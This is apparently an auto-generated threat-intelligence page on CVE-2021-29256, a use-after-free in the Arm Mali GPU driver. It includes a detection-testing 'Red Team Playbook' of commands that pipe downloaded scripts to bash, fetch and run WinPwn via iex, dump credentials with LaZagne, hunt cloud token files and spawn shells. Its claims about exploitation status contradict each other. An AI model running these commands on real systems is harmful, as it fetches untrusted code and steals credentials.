CVE-2021-29256
Overview
This vulnerability is a use-after-free flaw in the Arm Mali GPU kernel driver affecting the Bifrost, Valhall, and Midgard architectures. The root cause is improper management of freed memory objects within the kernel driver, allowing unprivileged users to access memory regions after they have been released. The flaw resides in the GPU kernel driver's memory handling routines across affected versions prior to r30p0.
Vulnerability Description
. The Arm Mali GPU kernel driver allows an unprivileged user to achieve access to freed memory, leading to information disclosure or root privilege escalation. This affects Bifrost r16p0 through r29p0 before r30p0, Valhall r19p0 through r29p0 before r30p0, and Midgard r28p0 through r30p0.
Impact
An attacker with low-level user privileges can exploit this vulnerability to read sensitive kernel memory or escalate privileges to root, bypassing normal access controls. No prior authentication or elevated permissions beyond unprivileged user access are required. Successful exploitation can result in full system compromise, including unauthorized data access and control over system processes, posing severe risks to device confidentiality and integrity.
Solution
Arm has released security updates addressing this issue in Mali GPU kernel driver versions starting from r30p0 for Bifrost, Valhall, and Midgard architectures. Users should apply the updated drivers as detailed in Arm's security advisory available at https://developer.arm.com/support/arm-security-updates/mali-gpu-kernel-driver. No alternative workarounds are provided; prompt application of the vendor-supplied patches is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Arm Mali GPU kernel driver is characterized by its ability to allow an unprivileged user to access freed memory. This flaw arises due to improper management of memory allocation and deallocation within the driver, specifically affecting the Bifrost, Valhall, and Midgard architectures across various versions. When memory is freed, it is expected that the data contained within that memory is no longer accessible. However, in this case, an attacker can exploit this oversight to read sensitive information or potentially escalate privileges to root level. This situation is particularly concerning in environments where the GPU is utilized for processing sensitive data or executing critical applications.
Exploitation of this vulnerability can occur through several attack vectors. An unprivileged user may leverage specially crafted applications or scripts designed to interact with the GPU driver, thereby triggering the access to freed memory. This could involve executing a sequence of operations that manipulate the GPU's memory management features, ultimately leading to the disclosure of sensitive information such as cryptographic keys, user credentials, or other confidential data. Furthermore, if an attacker successfully retrieves sensitive information, they may use it to escalate privileges, gaining unauthorized access to system resources and potentially compromising the integrity of the entire system.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Arm Mali GPUs for their operations. The ability to access freed memory can lead to severe business risks, including data breaches, loss of intellectual property, and reputational damage. For instance, if an attacker were to extract sensitive information from a system that processes financial transactions or personal data, the consequences could include regulatory fines, legal liabilities, and loss of customer trust. Moreover, the potential for privilege escalation means that an attacker could gain control over critical systems, leading to further exploitation and disruption of services.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the GPU driver to the latest version is crucial, as this will ensure that any patches addressing the vulnerability are applied. Additionally, employing robust monitoring solutions that can detect unusual patterns of memory access or unauthorized attempts to interact with the GPU driver can help identify potential exploitation attempts. Furthermore, organizations should consider implementing strict access controls and user permissions to limit the ability of unprivileged users to interact with the GPU, thereby reducing the attack surface.
In conclusion, the vulnerability in the Arm Mali GPU kernel driver presents a serious threat that can lead to information disclosure and privilege escalation. Its exploitation can have dire consequences for organizations, making it essential to prioritize detection and mitigation strategies. By staying informed about vulnerabilities, applying timely updates, and enforcing stringent security measures, organizations can better protect themselves against the risks associated with this and similar vulnerabilities in the future.
Recent updates in CSURFACE threat intelligence indicate a moderate increase in the Exploit Prediction Scoring System (EPSS) for CVE-2021-29256, rising by approximately one-third. Although the absolute EPSS value remains low, this upward trend suggests a growing likelihood of exploitation attempts targeting the Arm Mali GPU kernel driver vulnerability. Our telemetry does not show any new proof-of-concept exploits or active exploitation campaigns at this time, and the ransomware usage status remains unconfirmed. However, the inclusion of this vulnerability in the Known Exploited Vulnerabilities (KEV) catalog with an approaching due date for remediation underscores its elevated priority within the threat landscape. For defenders, this shift signals a need to maintain heightened vigilance, as the vulnerability’s exploitation potential is incrementally increasing, which could translate into more frequent or sophisticated attack attempts in the near term. Consequently, while the overall threat level remains high due to the vulnerability’s inherent severity, the evolving exploitation probability warrants closer monitoring to anticipate and respond to emerging adversary behaviors.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Arm | Bifrost Gpu Kernel Driver | All |
cpe:2.3:a:arm:bifrost_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Midgard Gpu Kernel Driver | All |
cpe:2.3:a:arm:midgard_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
|
|
Arm | Valhall Gpu Kernel Driver | All |
cpe:2.3:a:arm:valhall_gpu_kernel_driver:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-29256 |
| developer.arm.com |
GitHub CVE
x_refsource_CONFIRM
|
https://developer.arm.com/support/arm-security-updates/mali-gpu-kernel-driver |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-29256 |